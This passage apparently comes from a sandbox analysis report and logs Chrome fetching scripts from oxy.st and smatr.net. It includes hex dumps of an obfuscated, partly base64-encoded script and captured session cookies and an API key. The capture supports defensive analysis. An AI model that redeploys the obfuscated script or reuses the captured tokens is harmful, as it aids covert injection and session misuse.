21	192.168.2.16	49722	88.208.46.222	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	549	OUT	GET /sm/getcode?apiKey=b68c106c3df6f586f8cb1f48c5036112 HTTP/1.1 Host: smatr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:54 UTC	483	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 15 Jun 2024 09:14:54 GMT Content-Type: text/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store, no-cache, must-revalidate, max-age=0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range Access-Control-Expose-Headers: Content-Length,Content-Range
2024-06-15 09:14:54 UTC	1257	IN	Data Raw: 34 65 32 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 6d 61 69 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 20 64 61 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 62 27 20 3a 27 3c 73 74 79 6c 65 3e 20 20 20 20 3a 72 6f 6f 74 20 7b 20 20 20 20 20 20 20 20 2d 2d 6d 61 69 6e 2d 62 67 2d 63 6f 6c 6f 72 3a 20 23 32 62 32 35 35 62 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 20 20 20 20 2d 2d 62 75 74 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 3a 20 23 66 66 64 62 34 64 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 20 20 20 20 2d 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 20 21 69 6d 70 6f 72 74 61 6e Data Ascii: 4e2(function () { "use strict"; window.main = function () { let data = { 'b' :'<style> :root { --main-bg-color: #2b255b !important; --button-bg-color: #ffdb4d !important; --button-color: #000 !importan
2024-06-15 09:14:54 UTC	2725	IN	Data Raw: 61 39 65 0d 0a 70 68 61 6c 69 6d 61 2d 6d 61 69 6e 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 6c 74 61 61 6c 70 68 61 6c 69 6d 61 2d 68 65 61 64 65 72 2c 20 20 20 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 6c 74 61 61 6c 70 68 61 6c 69 6d 61 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 6c 74 61 61 6c 70 68 61 6c 69 6d 61 2d 6d 61 69 6e 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 6c 74 61 61 6c 70 68 61 6c 69 6d 61 2d 66 6f 6f 74 65 72 20 7b 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 6d 61 69 6e 2d 62 67 2d 63 6f 6c 6f 72 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 36 63 36 63 36 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 65 6d 20 Data Ascii: a9ephalima-main .mikeoscardeltaalphalima-header, .mikeoscardeltaalphalima .mikeoscardeltaalphalima-main .mikeoscardeltaalphalima-footer { background-color: var(--main-bg-color) !important; color: #c6c6c6 !important; padding: 1em
2024-06-15 09:14:54 UTC	1455	IN	Data Raw: 35 61 38 0d 0a 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 2e 36 37 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 49 6e 74 65 72 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 7d 20 20 20 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 6c 74 61 61 6c 70 68 61 6c 69 6d 61 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 6c 74 61 61 6c 70 68 61 6c 69 6d 61 2d 6d 61 69 6e 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 Data Ascii: 5a8mportant; margin-bottom: 0 !important; margin-top: 0.67em !important; line-height: normal !important; font-family: "Inter", sans-serif !important; } .mikeoscardeltaalphalima .mikeoscardeltaalphalima-main .mikeoscarde
2024-06-15 09:14:54 UTC	15936	IN	Data Raw: 33 65 33 38 0d 0a 61 61 6c 70 68 61 6c 69 6d 61 2d 6c 69 6e 6b 2d 66 72 65 65 20 7b 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 33 35 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 35 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 20 20 20 7d 20 20 20 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 6c 74 61 61 6c 70 68 61 6c 69 6d 61 20 20 20 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 6c 74 61 61 6c 70 68 61 6c 69 6d 61 2d 6d 61 69 6e 20 20 20 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 6c 74 61 61 6c 70 68 61 6c 69 6d 61 2d 63 6f 6e 74 65 6e 74 20 20 20 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 6c 74 61 61 6c 70 68 61 6c 69 6d 61 2d 70 61 72 61 67 72 61 70 68 20 20 20 20 2e 6d 69 6b 65 6f 73 63 61 72 64 65 6c 74 Data Ascii: 3e38aalphalima-link-free { opacity: 0.35 !important; font-size: 0.5em !important; } .mikeoscardeltaalphalima .mikeoscardeltaalphalima-main .mikeoscardeltaalphalima-content .mikeoscardeltaalphalima-paragraph .mikeoscardelt
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 35 65 37 63 0d 0a 41 69 62 6d 39 75 5a 53 49 37 43 67 6f 67 49 43 41 67 49 43 41 67 49 47 78 6c 64 43 42 68 62 48 64 68 65 58 4e 48 62 32 46 73 52 6d 6c 73 5a 55 4e 73 62 33 4e 6c 49 44 30 67 64 32 6c 75 5a 47 39 33 4c 6e 4e 74 49 43 59 6d 49 48 64 70 62 6d 52 76 64 79 35 7a 62 53 35 68 62 48 64 68 65 58 4e 48 62 32 46 73 52 6d 6c 73 5a 55 4e 73 62 33 4e 6c 49 44 30 39 49 44 45 4b 49 43 41 67 49 43 41 67 49 43 42 70 5a 69 41 6f 5a 32 56 30 55 47 46 79 59 57 30 6f 4a 32 46 6d 64 47 56 79 55 6e 56 75 4a 79 6b 67 49 54 30 39 49 47 35 31 62 47 77 70 49 48 73 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 5a 32 56 30 55 47 46 79 59 57 30 6f 4a 32 46 6d 64 47 56 79 55 6e 56 75 4a 79 6b 6f 4a 79 35 6a 62 47 4e 72 4c 57 49 74 63 47 46 79 64 47 35 6c 63 69 31 Data Ascii: 5e7cAibm9uZSI7CgogICAgICAgIGxldCBhbHdheXNHb2FsRmlsZUNsb3NlID0gd2luZG93LnNtICYmIHdpbmRvdy5zbS5hbHdheXNHb2FsRmlsZUNsb3NlID09IDEKICAgICAgICBpZiAoZ2V0UGFyYW0oJ2FmdGVyUnVuJykgIT09IG51bGwpIHsKICAgICAgICAgICAgZ2V0UGFyYW0oJ2FmdGVyUnVuJykoJy5jbGNrLWItcGFydG5lci1
2024-06-15 09:14:54 UTC	7812	IN	Data Raw: 6e 65 2d 74 61 62 6c 65 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 4c 69 6e 6b 50 72 6f 70 5b 27 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 27 5d 20 3d 20 27 73 65 70 61 72 61 74 65 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 4c 69 6e 6b 50 72 6f 70 5b 27 74 65 78 74 2d 69 6e 64 65 6e 74 27 5d 20 3d 20 27 30 70 78 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 4c 69 6e 6b 50 72 6f 70 5b 27 62 6f 72 64 65 72 2d 73 70 61 63 69 6e 67 27 5d 20 3d 20 27 30 70 78 27 3b 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ne-table'; styleLinkProp['border-collapse'] = 'separate'; styleLinkProp['text-indent'] = '0px'; styleLinkProp['border-spacing'] = '0px';
2024-06-15 09:14:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49726	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	629	OUT	GET /slake/asset/js/bootstrap.min.js HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:54 UTC	390	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 14 Jun 2024 14:18:01 GMT Content-Type: application/javascript Content-Length: 48944 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-bf30" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 68214 DDG-Cache-Status: HIT
2024-06-15 09:14:54 UTC	15994	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f Data Ascii: /! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t,e){"o
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 74 28 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 2c 73 3d 65 2e 64 61 74 61 28 6e 29 3f 22 74 6f 67 67 6c 65 22 3a 69 2e 64 61 74 61 28 29 3b 6d 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 73 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 6d 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 6d 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 6d 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 6d 7d 28 65 29 2c 57 3d 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: ectorFromElement(this);t(s).each(function(){var e=t(this),s=e.data(n)?"toggle":i.data();m._jQueryInterface.call(e,s)})}),t.fn[e]=m._jQueryInterface,t.fn[e].Constructor=m,t.fn[e].noConflict=function(){return t.fn[e]=o,m._jQueryInterface},m}(e),W=function(t
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 6e 66 69 67 3d 6e 75 6c 6c 2c 74 68 69 73 2e 74 69 70 3d 6e 75 6c 6c 7d 2c 49 2e 73 68 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 22 6e 6f 6e 65 22 3d 3d 3d 74 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 50 6c 65 61 73 65 20 75 73 65 20 73 68 6f 77 20 6f 6e 20 76 69 73 69 62 6c 65 20 65 6c 65 6d 65 6e 74 73 22 29 3b 76 61 72 20 69 3d 74 2e 45 76 65 6e 74 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 53 48 4f 57 29 3b 69 66 28 74 68 69 73 2e 69 73 57 69 74 68 43 6f 6e 74 65 6e 74 28 29 26 26 74 68 69 73 2e 5f 69 73 45 6e 61 62 6c 65 64 29 7b 74 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 2e 74 72 Data Ascii: nfig=null,this.tip=null},I.show=function(){var e=this;if("none"===t(this.element).css("display"))throw new Error("Please use show on visible elements");var i=t.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){t(this.element).tr
2024-06-15 09:14:54 UTC	182	IN	Data Raw: 75 73 65 6c 3d 6a 2c 74 2e 43 6f 6c 6c 61 70 73 65 3d 48 2c 74 2e 44 72 6f 70 64 6f 77 6e 3d 57 2c 74 2e 4d 6f 64 61 6c 3d 4d 2c 74 2e 50 6f 70 6f 76 65 72 3d 78 2c 74 2e 53 63 72 6f 6c 6c 73 70 79 3d 4b 2c 74 2e 54 61 62 3d 56 2c 74 2e 54 6f 6f 6c 74 69 70 3d 55 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 7d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 2e 6d 61 70 Data Ascii: usel=j,t.Collapse=H,t.Dropdown=W,t.Modal=M,t.Popover=x,t.Scrollspy=K,t.Tab=V,t.Tooltip=U,Object.defineProperty(t,"__esModule",{value:!0})});//# sourceMappingURL=bootstrap.min.js.map

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49730	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	650	OUT	GET /slake/asset/js/jquery.mCustomScrollbar.concat.min.js HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:54 UTC	389	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 07:23:30 GMT Content-Type: application/javascript Content-Length: 45483 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-b1ab" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 6685 DDG-Cache-Status: HIT
2024-06-15 09:14:54 UTC	15995	IN	Data Raw: 2f 2a 20 3d 3d 20 6a 71 75 65 72 79 20 6d 6f 75 73 65 77 68 65 65 6c 20 70 6c 75 67 69 6e 20 3d 3d 20 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 31 33 2c 20 4c 69 63 65 6e 73 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4d 49 54 29 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 61 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 3a 61 28 6a 51 75 65 72 79 29 7d 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 76 61 72 20 67 3d 62 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 2c Data Ascii: /* == jquery mousewheel plugin == Version: 3.1.13, License: MIT License (MIT) */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b\|\|window.event,
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 28 22 2e 6d 43 53 42 5f 22 2b 6f 2e 69 64 78 2b 22 5f 73 63 72 6f 6c 6c 62 61 72 3a 66 69 72 73 74 22 29 2c 72 3d 6f 65 28 6e 2e 73 63 72 6f 6c 6c 42 75 74 74 6f 6e 73 2e 74 61 62 69 6e 64 65 78 29 3f 22 74 61 62 69 6e 64 65 78 3d 27 22 2b 6e 2e 73 63 72 6f 6c 6c 42 75 74 74 6f 6e 73 2e 74 61 62 69 6e 64 65 78 2b 22 27 22 3a 22 22 2c 6c 3d 5b 22 3c 61 20 68 72 65 66 3d 27 23 27 20 63 6c 61 73 73 3d 27 22 2b 64 5b 31 33 5d 2b 22 27 20 22 2b 72 2b 22 20 2f 3e 22 2c 22 3c 61 20 68 72 65 66 3d 27 23 27 20 63 6c 61 73 73 3d 27 22 2b 64 5b 31 34 5d 2b 22 27 20 22 2b 72 2b 22 20 2f 3e 22 2c 22 3c 61 20 68 72 65 66 3d 27 23 27 20 63 6c 61 73 73 3d 27 22 2b 64 5b 31 35 5d 2b 22 27 20 22 2b 72 2b 22 20 2f 3e 22 2c 22 3c 61 20 68 72 65 66 3d 27 23 27 20 63 6c 61 73 Data Ascii: (".mCSB_"+o.idx+"_scrollbar:first"),r=oe(n.scrollButtons.tabindex)?"tabindex='"+n.scrollButtons.tabindex+"'":"",l=["<a href='#' class='"+d[13]+"' "+r+" />","<a href='#' class='"+d[14]+"' "+r+" />","<a href='#' class='"+d[15]+"' "+r+" />","<a href='#' clas
2024-06-15 09:14:54 UTC	13104	IN	Data Raw: 6e 2e 6f 76 65 72 66 6c 6f 77 65 64 5b 30 5d 7c 7c 28 33 37 3d 3d 3d 6c 7c 7c 33 39 3d 3d 3d 6c 29 26 26 21 6e 2e 6f 76 65 72 66 6c 6f 77 65 64 5b 31 5d 29 72 65 74 75 72 6e 3b 22 6b 65 79 75 70 22 3d 3d 3d 74 2e 74 79 70 65 26 26 28 73 3d 22 6f 66 66 22 29 2c 65 28 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 2e 69 73 28 75 29 7c 7c 28 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 28 73 2c 6c 29 29 7d 65 6c 73 65 20 69 66 28 33 33 3d 3d 3d 6c 7c 7c 33 34 3d 3d 3d 6c 29 7b 69 66 28 28 6e 2e 6f 76 65 72 66 6c 6f 77 65 64 5b 30 5d 7c 7c 6e 2e 6f 76 65 72 66 6c 6f 77 65 64 5b 31 5d 29 26 26 28 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 Data Ascii: n.overflowed[0]\|\|(37===l\|\|39===l)&&!n.overflowed[1])return;"keyup"===t.type&&(s="off"),e(document.activeElement).is(u)\|\|(t.preventDefault(),t.stopImmediatePropagation(),a(s,l))}else if(33===l\|\|34===l){if((n.overflowed[0]\|\|n.overflowed[1])&&(t.preventDefau

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49729	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	623	OUT	GET /slake/asset/js/plugins.js HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:54 UTC	392	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 14 Jun 2024 09:16:59 GMT Content-Type: application/javascript Content-Length: 339281 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-52d51" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 86276 DDG-Cache-Status: HIT
2024-06-15 09:14:54 UTC	15992	IN	Data Raw: 0d 0a 2f 2a 20 20 6a 51 75 65 72 79 20 4e 69 63 65 20 53 65 6c 65 63 74 20 2d 20 76 31 2e 30 0d 0a 20 20 20 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 68 65 72 6e 61 6e 73 61 72 74 6f 72 69 6f 2f 6a 71 75 65 72 79 2d 6e 69 63 65 2d 73 65 6c 65 63 74 0d 0a 20 20 20 20 4d 61 64 65 20 62 79 20 48 65 72 6e c3 a1 6e 20 53 61 72 74 6f 72 69 6f 20 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 66 6e 2e 6e 69 63 65 53 65 6c 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 74 2e 61 66 74 65 72 28 65 28 22 3c 64 69 76 3e 3c 2f 64 69 76 3e 22 29 2e 61 64 64 43 6c 61 73 73 28 22 6e 69 63 65 2d 73 65 6c 65 63 74 22 29 2e 61 64 64 43 6c 61 73 73 28 74 2e 61 74 74 72 28 22 63 6c 61 73 73 22 29 7c 7c Data Ascii: /* jQuery Nice Select - v1.0 https://github.com/hernansartorio/jquery-nice-select Made by Hernn Sartorio */!function(e){e.fn.niceSelect=function(t){function s(t){t.after(e("<div></div>").addClass("nice-select").addClass(t.attr("class")\|\|
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 65 27 3a 0d 0a 09 09 09 09 09 09 70 70 5f 64 69 6d 65 6e 73 69 6f 6e 73 20 3d 20 5f 66 69 74 54 6f 56 69 65 77 70 6f 72 74 28 6d 6f 76 69 65 5f 77 69 64 74 68 2c 6d 6f 76 69 65 5f 68 65 69 67 68 74 29 3b 20 2f 2f 20 46 69 74 20 69 74 65 6d 20 74 6f 20 76 69 65 77 70 6f 72 74 0d 0a 09 09 09 09 09 09 0d 0a 09 09 09 09 09 09 2f 2f 20 52 65 67 75 6c 61 72 20 79 6f 75 74 75 62 65 20 6c 69 6e 6b 0d 0a 09 09 09 09 09 09 6d 6f 76 69 65 5f 69 64 20 3d 20 67 65 74 50 61 72 61 6d 28 27 76 27 2c 70 70 5f 69 6d 61 67 65 73 5b 73 65 74 5f 70 6f 73 69 74 69 6f 6e 5d 29 3b 0d 0a 09 09 09 09 09 09 0d 0a 09 09 09 09 09 09 2f 2f 20 79 6f 75 74 75 2e 62 65 20 6c 69 6e 6b 0d 0a 09 09 09 09 09 09 69 66 28 6d 6f 76 69 65 5f 69 64 20 3d 3d 20 22 22 29 7b 0d 0a 09 09 09 09 09 09 Data Ascii: e':pp_dimensions = _fitToViewport(movie_width,movie_height); // Fit item to viewport// Regular youtube linkmovie_id = getParam('v',pp_images[set_position]);// youtu.be linkif(movie_id == ""){
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 65 73 2e 6c 65 6e 67 74 68 29 20 3f 20 69 74 65 6d 73 50 65 72 50 61 67 65 20 3a 20 70 70 5f 69 6d 61 67 65 73 2e 6c 65 6e 67 74 68 3b 0d 0a 09 09 09 09 74 6f 74 61 6c 50 61 67 65 20 3d 20 4d 61 74 68 2e 63 65 69 6c 28 70 70 5f 69 6d 61 67 65 73 2e 6c 65 6e 67 74 68 20 2f 20 69 74 65 6d 73 50 65 72 50 61 67 65 29 20 2d 20 31 3b 0d 0a 0d 0a 09 09 09 09 2f 2f 20 48 69 64 65 20 74 68 65 20 6e 61 76 20 69 6e 20 74 68 65 20 63 61 73 65 20 74 68 65 72 65 27 73 20 6e 6f 20 6e 65 65 64 20 66 6f 72 20 6c 69 6e 6b 73 0d 0a 09 09 09 09 69 66 28 74 6f 74 61 6c 50 61 67 65 20 3d 3d 20 30 29 7b 0d 0a 09 09 09 09 09 6e 61 76 57 69 64 74 68 20 3d 20 30 3b 20 2f 2f 20 4e 6f 20 6e 61 76 20 6d 65 61 6e 73 20 6e 6f 20 77 69 64 74 68 21 0d 0a 09 09 09 09 09 24 70 70 5f 67 61 Data Ascii: es.length) ? itemsPerPage : pp_images.length;totalPage = Math.ceil(pp_images.length / itemsPerPage) - 1;// Hide the nav in the case there's no need for linksif(totalPage == 0){navWidth = 0; // No nav means no width!$pp_ga
